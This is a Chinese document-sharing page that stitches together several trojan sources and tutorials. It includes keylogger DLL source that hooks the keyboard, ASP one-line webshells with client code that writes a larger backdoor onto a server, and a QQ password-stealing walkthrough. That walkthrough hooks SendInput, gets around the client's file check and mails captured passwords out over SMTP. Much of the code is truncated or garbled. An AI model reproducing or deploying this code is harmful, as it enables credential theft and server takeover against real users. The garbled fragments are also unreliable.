一个简单木马的源代码
- 格式:doc
- 大小:150.00 KB
- 文档页数:23
一个简单的vc++6.0下的木马源码木马源程序,包括客户端和服务端PCSshare的客户端代码:#include "stdafx.h"#include "SshWork.h"#pragma data_seg("Shared")char m_CharFileName[256] = {0};HHOOK g_hook = NULL;HHOOK g_khook = NULL;INITDLLINFO m_InitInfo = {0};BOOL m_IsOk = FALSE;#pragma data_seg()#pragma comment(linker,"/section:Shared,rws")HINSTANCE ghInstance = NULL;SshWork m_Work;BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){switch (ul_reason_for_call){case DLL_THREAD_A TTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;case DLL_PROCESS_ATTACH:ghInstance = (HINSTANCE) hModule;break;default : break;}return TRUE;}LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam){LRESULT lResult = CallNextHookEx(g_hook, nCode, wParam, lParam);//查看是否为指定进程if(!m_IsOk && m_InitInfo.m_ProcessId == GetCurrentProcessId()){//找到指定进程取消hookm_IsOk = TRUE;if(g_hook) UnhookWindowsHookEx(g_hook);//通知主进程退出HANDLE m_WaitEvent =OpenEvent(EVENT_ALL_ACCESS,FALSE,m_InitInfo.m_EventName);if(m_WaitEvent){SetEvent(m_WaitEvent);CloseHandle(m_WaitEvent);}Sleep(1000);//装载DLL到进程m_Work.m_Module = LoadLibrary(m_InitInfo.m_StartFile);if(m_Work.m_Module){m_Work.StartWork(&m_InitInfo);}}return lResult;}BOOL PlayWork(LPINITDLLINFO pInitInfo){//拷贝数据memcpy(&m_InitInfo,pInitInfo,sizeof(INITDLLINFO));//自进程启动if(pInitInfo->m_ProcessName[0] == 2){m_Work.StartWork(&m_InitInfo);return TRUE;}//检查是否已经启动if(g_hook != NULL) return FALSE;//启动HOOKg_hook = SetWindowsHookEx(WH_DEBUG, GetMsgProc, ghInstance, 0); return (g_hook != NULL);}void WriteChar(char* sText){//加锁HANDLE hMetux = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "PsKey400");if(hMetux != NULL)WaitForSingleObject(hMetux, 300);FILE* fp = fopen(m_CharFileName,"ab");if(fp != NULL){fwrite(sText,strlen(sText),1,fp);fclose(fp);}//取锁if(hMetux != NULL){ReleaseMutex(hMetux);CloseHandle(hMetux);}}LRESULT WINAPI GetKeyMsgProc(int nCode, WPARAM wParam, LPARAM lParam){LRESULT lResult = CallNextHookEx(g_khook, nCode, wParam, lParam);char key[10] = {0};BYTE buffer[256] = {0};WORD m_wchar = 0;UINT m_scan = 0;if ((lParam & 0x40000000) && (nCode == HC_ACTION)){if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>= 0x2f ) &&(wParam<= 0x100)){if (wParam == VK_RETURN){WriteChar("\r\n");}else{GetKeyboardState(buffer);m_scan = 0;ToAscii(wParam,m_scan,buffer , &m_wchar,0);key[0] = m_wchar%255;if(key[0] >= 32 && key[0] <= 126)WriteChar(key);}}}return lResult;}BOOL KeyStartMyWork(){if(g_khook != NULL) return FALSE;GetTempPath(200,m_CharFileName);strcat(m_CharFileName,"pskey.dat");g_khook = SetWindowsHookEx(WH_KEYBOARD,GetKeyMsgProc,ghInstance,0); return (g_khook != NULL);}void KeyStopMyWork(){if(g_khook != NULL) UnhookWindowsHookEx(g_khook);}。
eval一句话木马原理详解eval一句话木马原理详解<%eval request("#")%>来解释下它的原理.首先是JavaScript脚本的开始标记,其中RUNA T属性的值SERVER表示脚本将在服务器端运行,后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了Request.form('#')+''这句代码,Request.form('#')的作用是读取客户端文件中html标记属性中name值被命名为#的部分,例如如下摘自一句话客户端的代码: set iP=server.createObject("Adodb.Stream")iP.OpeniP.Type=2iP.CharSet="gb2312"iP.writetext request("aoyun")iP.SaveToFile server.mappath("aoyunwan.asp"),2iP.Closeset iP=nothingresponse.redirect "aoyunwan.asp"学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form('#')),然后执行(使用eval(Request.form('#')+'')),也就是执行了:set iP=server.createObject("Adodb.Stream")iP.OpeniP.Type=2iP.CharSet="gb2312"iP.writetext request("aoyun")iP.SaveToFile server.mappath("aoyunwan.asp"),2iP.Closeset iP=nothingresponse.redirect "aoyunwan.asp"学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用该对象的writetext方法将request("aoyun")读取过来的内容(就是我们常见的一句话客户端的第二个textarea标记中的内容,也就是我们的大马的代码)写入服务端的aoyunwan.asp文件中,写入结束后使用set iP=nothing 释放Adodb.Stream对象然后使用response.redirect "aoyunwan.asp" 转向刚才写入大马代码的文件,也就是我们最后看见的大马了!不过一句话木马能成功的条件依赖于两个条件:一、服务器端没有禁止Adodb.Stream组件,因为我们使用一句话木马写入大马代码的条件是服务器端创建Adodb.Stream组件,如果该组件被禁用的话是不会写入成功的!二、还有就是权限的问题,如果当前的虚拟目录禁止user组或者everyone写入操作的话那么也是不会成功的.============一句话木马"服务端就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp 为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为<%execute request("value")%> 其中value可以自己修改"一句话木马"客户端用来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执行,也就是生成我们所需要的asp木马文件一句话木马客户端源文件:里面涉及到一些脚本知识,我就只讲解一下功能和简单注释,不详细讲了,大家只要注意几个注意点就行了***********************************************************//"action="后面是需要修改的以asp命名的数据库的提交地址//这个标签的意思是建立一个表单以post方式提交给连接/doc/d916207664.html,/news/ebook/db/ebook .asp处理//这里的value值根据服务端<%execute request("value")%>中value而设定//可以自行修改成<%execute request("p")%>相应这里的value 值也必须改为pset lP=server.createObject("Adodb.Stream")//建立流对象,有了对象才可以使用它固有的属性和方法lP.Open //打开lP.Type=2 //以文本方式lP.CharSet="gb2312" //字体标准lP.writetext request("joeving") //取得木马内容参数joeving可以自己定义但必须和下面的name=joeving相对应lP.SaveToFile server.mappath("wei.asp"),2//将木马内容以覆盖文件的方式写入wei.asp//2就是已覆盖的方式,这里的wei.asp也是可以自己定义的,如定义成1.asp//但和下面的response.redirect"wei.asp"中wei.asp的保持一致lP.Close //关闭对象set lP=nothing //释放对象response.redirect "wei.asp" //转向生成的wei.asp 和上面的wei.asp相对应,也就是你熟悉的asp木马登陆界面。
木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。
为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。
目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。
Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。
Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。
不光占去了大量的空间(光一个Form就有300K 之大),而且使软件可见,根本没什么作用。
因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
⽊马程序开发技术:病毒源代码详解近年来,⿊客技术不断成熟起来,对⽹络安全造成了极⼤的威胁,⿊客的主要攻击⼿段之⼀,就是使⽤⽊马技术,渗透到对⽅的主机系统⾥,从⽽实现对远程操作⽬标主机。
其破坏⼒之⼤,是绝不容忽视的,⿊客到底是如何制造了这种种具有破坏⼒的⽊马程序呢,下⾯我对⽊马进⾏源代码级的详细的分析,让我们对⽊马的开发技术做⼀次彻底的透视,从了解⽊马技术开始,更加安全的管理好⾃⼰的计算机。
1、⽊马程序的分类 ⽊马程序技术发展⾄今,已经经历了4代,第⼀代,即是简单的密码窃取,发送等,没有什么特别之处。
第⼆代⽊马,在技术上有了很⼤的进步,冰河可以说为是国内⽊马的典型代表之⼀。
第三代⽊马在数据传递技术上,⼜做了不⼩的改进,出现了ICMP等类型的⽊马,利⽤畸形报⽂传递数据,增加了查杀的难度。
第四代⽊马在进程隐藏⽅⾯,做了⼤的改动,采⽤了内核插⼊式的嵌⼊⽅式,利⽤远程插⼊线程技术,嵌⼊DLL线程。
或者挂接PSAPI,实现⽊马程序的隐藏,甚⾄在Windows NT/2000下,都达到了良好的隐藏效果。
相信,第五代⽊马很快也会被编制出来。
关于更详细的说明,可以参考ShotGun的⽂章《揭开⽊马的神秘⾯纱》。
2.⽊马程序的隐藏技术 ⽊马程序的服务器端,为了避免被发现,多数都要进⾏隐藏处理,下⾯让我们来看看⽊马是如何实现隐藏的。
说到隐藏,⾸先得先了解三个相关的概念:进程,线程和服务。
我简单的解释⼀下。
进程:⼀个正常的Windows应⽤程序,在运⾏之后,都会在系统之中产⽣⼀个进程,同时,每个进程,分别对应了⼀个不同的PID(Progress ID, 进程标识符)这个进程会被系统分配⼀个虚拟的内存空间地址段,⼀切相关的程序操作,都会在这个虚拟的空间中进⾏。
线程:⼀个进程,可以存在⼀个或多个线程,线程之间同步执⾏多种操作,⼀般地,线程之间是相互独⽴的,当⼀个线程发⽣错误的时候,并不⼀定会导致整个进程的崩溃。
代码没给大家讲解,不知道看懂没。
所以,现在我原理给大家说一下,腾讯QQ 安装了两个钩子一个是WH_DEBUG,还有一个是WH_KEYBOARD_LL,当QQ的密码框获得焦点的时候DEBUG钩子就开始用SendInput发送乱码,在QQ启动的时候也会先调用SendInput发送一个乱码,所以就挂钩SendInput 这个函数,我们正确安装按键的时候QQ会通过WH_KERBOARD_LL低级钩子,发送一个错误的按键信息,在这里通过分析,发现在WIN7系统上真实的按键的就在0x12faa0处记录着,挂钩之后判断一下来源,if(nRetAddress!=0x74F3&&nRetAddress!=0x7374) ,就排除不是真实按键调用的,当然上面这句我们是WIn7上的地址,所有有朋友说,在XP上不行,由于我是WIN7的系统,还没装XP的虚拟机,所以并没添加这个判断,传进来的pInputs等我们基本上就不用去管他,然后通过if(pInputs->ki.dwFlags==0)判断是否是键盘按下,如果是按下,我们就开始记录。
DWORD nRetAddress=0;_asm{mov eax,0mov ax,[ebp+4]mov nRetAddress,eax}if(nRetAddress!=0x74F3&&nRetAddress!=0x7374)这就是取得是什么地方在调用SendInput.char key=0;_asm{mov ebx,0x12faa0mov eax,0mov al,[ebx]mov key,al}获取真实的按键,稍后我换上XP系统后,会将这个几个关键西方的发出,大家就可以在XP上也能使用这个木马了。
有人会问为什么我的文件是User32Hook.cpp 实际挂钩的是SendInput,这个是因为,我用OD分析的时候发现在User32.dll 中有一个固定地址通过[ebp+c]之后也可以获取到键盘按下的真实按键信息,只要挂钩在那里,也是可以获得真确的按键信息,然后写出木马,并且可以早于QQ的WH_KEYBOARD_LL钩子获取真实按键,就算QQ在WH_KEYBOARD_LL把WIN7下地址为0x12faa0的真实按键信息清0,也是没有用的,兴趣的朋友,就在WH_KEYBOARD_LL上下段,然后往上跟就会看到了。
只是这样挂钩USER32.dll的时候光写这个DLL了,就得去修改QQ.EXE文件,修改QQEXE后,他有个自身文件的验证,可以通过修改输入表,替换掉CreateFileW 改变打开的文件,而绕过他的文件验证保护,在首地址写入,加载DLL的代码,立马挂钩USER32.DLL,然后恢复QQ的OEP地址的内存,从新回到QQ的OEP,这样就可以在QQ输入密码的时候早于QQ获得,也不用在挂钩SendInput,后来我发现WH_KEYBOARD_LL钩子中当真实的按键按下时,他也会去调用SendInput虽然是错的按键,但是我们可以通过0x12faa0获得真实的按键,所以我就改写了,代码,这样看起来更简单。
其他的我就不多说,有兴趣的朋友,在分析把!代码在后面,我会陆续全部贴上代码:木马dll函数的main.cpp文件的代码代码:HookOn();InitHookCallBack();char g_Password[100];文件f struct _SMTPINFOar SmtpSrvName[32];ar Port[7];ar UserName[16];ar Password[16];ar From[32];ar To[32];ar Subject[32];ar Msg[64];NFO;户名和密码转换为base64编码Base64(unsigned char *chasc,unsigned char *chuue);alk(SOCKET sockid, const char *OkCode, char *pSend); endMail(const SMTPINFO *psmtpinfo);pp文件中的代码de <winsock2.h>e WIN32_LEAN_AND_MEANde <windows.h>de <stdio.h>de <stdlib.h>de "SendMail.h"a comment(lib,"ws2_32.lib")int buflen = 256;buf[buflen];,userlen,passlen;----------------------------------------------------------------- endMail(const SMTPINFO *psmtpinfo)准备网络连接ADATA wsadata;(WSAStartup(MAKEWORD(2,2),&wsadata) != 0)return 1;创建套接字CKET sockid;((sockid = socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET)WSACleanup();return 1;得到smtp服务器ipruct hostent *phostent = gethostbyname(psmtpinfo->SmtpSrvName);ruct sockaddr_in addr;pyMemory(&addr.sin_addr.S_un.S_addr,ostent->h_addr_list[0],zeof(addr.sin_addr.S_un.S_addr));dr.sin_family = AF_INET;dr.sin_port = htons(atoi(psmtpinfo->Port));roMemory(&addr.sin_zero, 8);连接服务器(connect(sockid, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == SOCKET_ERROR) goto STOP;(Talk(sockid, "220", "EHLO sjdf"))goto STOP;(Talk(sockid, "250", "AUTH LOGIN"))goto STOP;roMemory(buf, buflen);erlen = lstrlen(psmtpinfo->UserName);sslen = lstrlen(psmtpinfo->Password);r(i = 0; i < (userlen%3?userlen/3+1:userlen/3); i++)Base64((unsigned char * )(psmtpinfo->UserName + i * 3),(unsigned char * )( buf + i * (Talk(sockid, "334", buf))goto STOP;roMemory(buf, buflen);r(i = 0; i < (passlen%3?passlen/3+1:passlen/3); i++)Base64((unsigned char *)(psmtpinfo->Password + i * 3),(unsigned char * ) (buf + i * (Talk(sockid, "334", buf))goto STOP;roMemory(buf, buflen);printf(buf, "MAIL FROM:<%s>", psmtpinfo->From);(Talk(sockid, "235", buf))goto STOP;roMemory(buf, buflen);printf(buf, "RCPT TO:<%s>", psmtpinfo->To);(Talk(sockid, "250", buf))goto STOP;(Talk(sockid, "250", "DATA"))goto STOP;roMemory(buf, buflen);printf(buf, "TO: %s\r\nFROM: %s\r\nSUBJECT: %s\r\n\r\n%s\r\n.", psmtpinfo->To,psmtpinfo->From,psmtpinfo->Subject,psmtpinfo->Msg); (Talk(sockid, "354", buf))goto STOP;(Talk(sockid, "250", "QUIT"))goto STOP;(Talk(sockid, "221", ""))goto STOP;seclosesocket(sockid);WSACleanup();return 0;osesocket(sockid);ACleanup();turn 1;----------------------------------------------------------------- alk(SOCKET sockid, const char *OkCode, char *pSend)nst int buflen = 256;ar buf[buflen];roMemory(buf, buflen);接收返回信息(recv(sockid, buf, buflen, 0) == SOCKET_ERROR)return 1;(strstr(buf, OkCode) == NULL)return 1;发送命令(lstrlen(pSend))ZeroMemory(buf, buflen);wsprintf(buf, "%s\r\n", pSend);typedef int (*MySend)(SOCKET,const char*,int,int);HMODULE hModule=LoadLibrary("Ws2_32.dll");MySend mySend=(MySend)GetProcAddress(hModule,"send");WSABUF DataBuf;DataBuf.len=lstrlen(buf);DataBuf.buf=buf;DWORD dwS;if(WSASend(sockid,&DataBuf,1,&dwS,0,0,0))//if (mySend(sockid, buf, lstrlen(buf), 0) == SOCKET_ERROR) {return 1;}turn 0;----------------------------------------------------------------- 64编码,chasc:未编码的二进制代码,chuue:编码过的Base64代码户名和密码转换为base64编码Base64(unsigned char *chasc,unsigned char *chuue)t i,k=2;signed char t = 0;r(i=0;i<3;i++)*(chuue+i)=*(chasc+i)>>k;*(chuue+i)|=t;t=*(chasc+i)<<(8-k);t>>=2;k+=2;chuue+3)=*(chasc+2)&63;r(i=0;i<4;i++)if((*(chuue+i)>=0)&&(*(chuue+i)<=25)) *(chuue+i)+=65;else if((*(chuue+i)>=26)&&(*(chuue+i)<=51)) *(chuue+i)+=71;else if((*(chuue+i)>=52)&&(*(chuue+i)<=61)) *(chuue+i)-=4;else if(*(chuue+i)==62) *(chuue+i)=43;else if(*(chuue+i)==63) *(chuue+i)=47;User32Hook.cpp 文件的代码,这里便是怎么获取到QQ密码的地方.代码:用来安装DLL文件的代码代码:配置器中的主要函数代码代码:。